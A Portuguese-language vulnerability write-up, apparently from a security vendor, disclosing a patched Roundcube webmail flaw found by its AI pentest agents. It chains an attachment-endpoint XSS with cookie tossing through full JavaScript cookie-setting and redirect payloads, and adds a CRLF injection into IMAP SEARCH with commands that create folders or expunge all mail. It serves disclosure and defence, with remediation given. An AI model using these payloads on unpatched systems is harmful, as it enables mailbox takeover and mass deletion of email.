Roundcube é o cliente de webmail open-source mais amplamente implantado no mundo. Recentemente, encontramos uma vulnerabilidade perigosa na aplicação! É um XSS armazenado que, encadeado com uma técnica de cookie tossing, concede a um atacante acesso total à caixa de entrada da vítima e, a partir daí, a qualquer conta que utilize esse endereço de e-mail para autenticação ou recuperação de senha.
Descobrimos isso executando nossos agentes de pentest de IA contra uma instância local do Roundcube. Todas as descobertas foram reportadas de forma responsável à Nextcloud, os mantenedores do Roundcube, via HackerOne (XSS divulgado em #3594137) e corrigidas na versão 1.6.14.
Neste artigo, detalharemos o que fizemos, como nossos agentes encontraram a vulnerabilidade e como uma simples injeção de HTML poderia comprometer completamente a caixa de entrada de um usuário.
O ponto de injeção
Todo ataque tem um ponto de partida. Vamos analisar um que um de nossos agentes selecionou para auditoria.
O Roundcube lida com conteúdo controlado pelo usuário de algumas maneiras diferentes. Os corpos dos e-mails são a superfície mais escrutinada. Eles são fortemente sanitizados porque são exibidos inline com o restante da aplicação.
Anexos HTML são renderizados via um endpoint separado em mail/get.php, com uma Content Security Policy definida como script-src 'none' para bloquear a execução de JavaScript.
Um terceiro endpoint, mais oculto, lida com anexos inline que ainda não foram enviados, temporariamente visíveis enquanto se compõe um e-mail. Este é o endpoint que analisaremos. A ação display-attachment lida com este tipo de requisições:
class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload {
...
public function run($args = []) {
self::init();
$rcmail = rcmail::get_instance();
$file = $rcmail->get_uploaded_file(self::$file_id);
self::display_uploaded_file($file);
A função self::display_uploaded_file() é onde a mágica acontece. Como rcube_uploads.php mostra, esses tipos de anexos são retornados diretamente com seu tipo de conteúdo e corpo originais, sem sanitização, sandboxing e sem Content Security Policy aplicada.
header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);
if (isset($file['data']) && is_string($file['data'])) {
echo $file['data'];
} elseif (!empty($file['path'])) {
readfile($file['path']);
}
Como alcançamos este endpoint, você pode perguntar? Ao compor um novo e-mail dentro do Roundcube, você pode anexar um arquivo ao e-mail temporário, especificamente um arquivo HTML. Daremos a ele algum conteúdo malicioso:
<script>alert(origin)</script>
Após o upload, clicar no anexo abre um pop-up que o renderiza usando a ação `get`, protegido por uma CSP robusta. Este é o caminho seguro. A parte interessante é o que acontece quando você trocar _action=get por _action=display-attachment:

Pegue a URL original para esta exibição:
/?_task=mail&_frame=1&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=get&_extwin=1Trocando _action=get por _action=display-attachment e removendo alguns parâmetros desnecessários, você obtém:
/?_task=mail&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=display-attachmentEsta URL renderiza o mesmo conteúdo, mas sem a CSP! Assim, o JavaScript dentro do nosso HTML é executado, alertando a origem atual e confirmando o XSS:

Este é um Self-XSS interessante, mas isso é realmente um problema? Se formos realistas, um usuário comum não vai fazer o upload do nosso payload XSS por conta própria e continuar a visualizá-lo dessa maneira especial…
Olhando para attachment_upload.php, você descobrirá que uma compose_data_ chave de sessão deve ser definida para o seu usuário atual, e somente esse usuário pode recuperar o anexo.
public static function init()
{
self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
self::$COMPOSE = null;
self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;
if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
self::$COMPOSE = &$_SESSION[self::$SESSION_KEY];
}
if (!self::$COMPOSE) {
exit('Invalid session var!');Como este é um anexo temporário vinculado apenas à sua sessão atual, não há como preparar um payload e fazer com que uma vítima o acione fazendo login na conta do atacante, como vimos com Mailcow. O `cookie` inteiro do atacante roundcube_sessid precisaria ser copiado para a vítima. Outra tarefa que parece impossível.
Explorando Self-XSS com Cookie Tossing
O Self-XSS que encontramos parece inexplorável à primeira vista. O anexo está vinculado à sessão, então não há como preparar um payload para uma vítima sem também entregar a ela o `cookie` de sessão do atacante. Mas o problema ainda não acabou. É aí que entra o `cookie tossing`.
Nos navegadores, os `cookies` possuem algumas peculiaridades interessantes, uma delas é a Domain=atributo.
> Apenas o domínio atual pode ser definido como valor, ou um domínio de ordem superior, a menos que seja um sufixo público. Definir o domínio tornará o cookie disponível para ele, bem como para todos os seus subdomínios.
Cookies podem ser definidos não apenas para o domínio atual, mas também para um domínio pai. Um cookie definido por sub.example.com com Domínio=example.com fica disponível para todos os subdomínios em example.com, incluindo aqueles como other.example.com que não tiveram nada a ver com a sua definição. Este tipo de ataque é chamado de Cookie Tossing, onde um subdomínio escreve cookies que outro subdomínio irá ler.
Isso significa que tudo o que precisamos para explorar nossa vulnerabilidade é controle sobre um subdomínio no mesmo domínio que o domínio Roundcube alvo. A partir daí, uma vulnerabilidade XSS separada em algo como xss.target.local pode definir a document.cookie propriedade para gravar cookies com o Domínio=target.local atributo. Uma vez que esses cookies são definidos, o navegador da vítima os enviará para mail.target.local, onde o Roundcube carregará a sessão do atacante em vez da sessão da vítima.
Essa sessão tem o anexo HTML malicioso pronto e esperando. Ao direcionar a vítima para a URL do anexo, o payload XSS é acionado dentro da origem do Roundcube, no navegador da vítima, sem necessidade de interação adicional.
Em resumo, o que um atacante precisa fazer para explorá-lo é:
- Fazer login em sua própria conta, criar um novo e-mail e anexar um arquivo HTML malicioso
- Copiar o link para visualizar (renderizar) o anexo e os cookies
- A partir de um subdomínio vulnerável a XSS, definir os valores dos cookies usando
document.cookiecom oDomain=atributo apontando para o domínio alvo. - Redirecionar a vítima para o link do anexo. O XSS é acionado na origem do Roundcube.
Veja como o payload XSS do subdomínio se parece na prática, definindo os cookies de sessão e redirecionando a vítima para a URL do anexo
document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local'
location.href = 'http://mail.target.local/?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';A partir do XSS do subdomínio, o restante da exploração do Roundcube não requer mais interação do usuário. Toda a segurança do Roundcube agora depende de cada subdomínio do mesmo site.

Acesso total
O popup de alerta na captura de tela acima confirma que o XSS está sendo executado na origem do Roundcube, mas por si só não demonstra um impacto real. Ainda há um problema. Neste ponto, carregamos a sessão do atacante no navegador da vítima, então qualquer ação realizada será na conta do atacante, e não na da vítima. Ótimo para entregar nosso payload, mas não tão bom para acessar coisas que normalmente não conseguiríamos.
Se você olhar no navegador, os cookies na verdade não são substituídos quando definimos um diferente Domain=. Ambos são enviados!
Cookie: roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER
Quando ambos os cookies estão presentes, o servidor escolhe o do atacante, pois ele aparece por último no cabeçalho. No payload XSS, queremos que os cookies do atacante sejam escolhidos, enquanto em todos os outros endpoints, queremos os cookies da vítima. Felizmente, os cookies possuem outro atributo que resolve perfeitamente esse problema: Path=.
Ao definir um caminho único como Path=/index.php/xss, que ainda aponta para a página inicial, os cookies serão enviados apenas quando esse caminho corresponder ao alvo da requisição. Assim, para nossas requisições:
\/index.php\/xssenviaroundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER-> o payload do atacante é retornado- \/ envia
roundcube_sessauth=VICTIM-> os e-mails da vítima são retornados
Basta alterarmos o exploit JavaScript para definir este novo atributo e navegar para \/index.php\/xss depois para garantir que os cookies do atacante sejam enviados nesta requisição para o nosso payload, mas depois disso nosso XSS está livre para acessar a conta da vítima.
document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local; Path=/index.php/xss'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local; Path=/index.php/xss'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';Nas DevTools, podemos ver como os cookies duplicados são configurados agora:

Embora as condições necessárias para explorar isso (conta no Roundcube + XSS de Subdomínio) sejam um pouco complexas, o impacto potencial de uma exploração bem-sucedida é enorme.
O e-mail é a forma de autenticação mais amplamente confiável, pois muitos sites dependem de "links mágicos" para login ou recuperação de senha. Quando um invasor tem acesso aos seus e-mails, ele pode acionar esses tipos de redefinição de senha em todos os sites aos quais você tem o e-mail conectado. Em seguida, ele pode ler o e-mail que este serviço envia para confirmar e obter acesso a muitas outras contas.
Remediação
Atualize o Roundcube para a versão 1.6.14 ou posterior (1.6.x), ou 1.5.14 ou posterior (1.5.x LTS). Todas as vulnerabilidades relatadas são corrigidas nesta versão. Se você usa Aikido, instâncias vulneráveis do Roundcube são automaticamente sinalizadas em seu feed de monitoramento de superfície como uma descoberta de gravidade média.

Ainda não usa Aikido? Crie uma conta gratuita para começar, não é necessário cc.
Conclusão
Embora inicialmente parecesse uma vulnerabilidade XSS trivial, explorá-la exigiu um pouco mais de conhecimento sobre cookies e sessões. Subdomínios same-site frequentemente recebem um pouco mais de permissões do navegador do que sites completamente separados, outra razão para garantir que todos os seus ativos estejam seguros.
Esta é uma tarefa difícil, mas como mostrado aqui, o Aikido Attack pode realizar pentests autônomos em aplicações web para encontrar tais vulnerabilidades em toda a sua infraestrutura.
Os mantenedores do Roundcube corrigiram esta vulnerabilidade na versão 1.6.14 ao adicionar uma script-src 'none' Content Security Policy, assim como o restante dos anexos já possuíam. Isso impossibilita a execução de JavaScript ao retornar HTML arbitrário.
Bônus: Injeção de CRLF IMAP via CSRF
Durante o mesmo pentest, outro agente encontrou uma segunda vulnerabilidade que consideramos particularmente interessante. Após relatar isso, acabou sendo uma duplicata que a Martila Security Research Team também encontrou. Ainda assim, achamos interessante o suficiente para explicar brevemente os detalhes desta vulnerabilidade aqui.
O /?_task=mail&_action=search o endpoint passa o fornecido pelo cliente _filter parâmetro diretamente para o IMAP SEARCH comando em rcube_imap_generic.php:
if (!empty($criteria)) {
$params .= ($params ? ' ' : '') . $criteria;
} else {
$params .= 'ALL';
}
[$code, $response] = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);Embora a função pareça separar o comando de seus argumentos, a implementação de execute() simplesmente os concatena sem sanitização:
foreach ($arguments as $arg) {
$query .= ' ' . self::r_implode($arg);
}
Ao injetar um Carriage Return & Line Feed (CRLF, %0D%0A) caracteres, um invasor pode escapar dos parâmetros SEARCH e injetar comandos IMAP adicionais dentro da sessão IMAP do usuário autenticado.
Com isso, não só é possível pesquisar e-mails, mas também adicionar pastas, mover e-mails ou excluir a caixa de entrada inteira, já que todos esses são comandos IMAP brutos.
Abaixo está um exemplo de filtro definido como ALL%0D%0AX007%20CREATE%20EvilFolder:
Ao visitá-lo, os seguintes dados são enviados ao IMAP, com o comando CREATE injetado que é executado após a busca:
X006 SEARCH ALL
X007 CREATE EvilFolderO efeito disso pode então ser visto na interface do Roundcube:

Como esta é uma requisição GET simples, visitar o link acima é tudo o que é necessário para executar os comandos. Com isso, um único clique em um link poderia excluir permanentemente todos os e-mails (X001 UID STORE 1:* FLAGS \Deleted seguido por X002 EXPUNGE), resultando em uma grande perda de dados.
Esta vulnerabilidade está agora corrigida removendo \r\n caracteres de consultas de pesquisa.

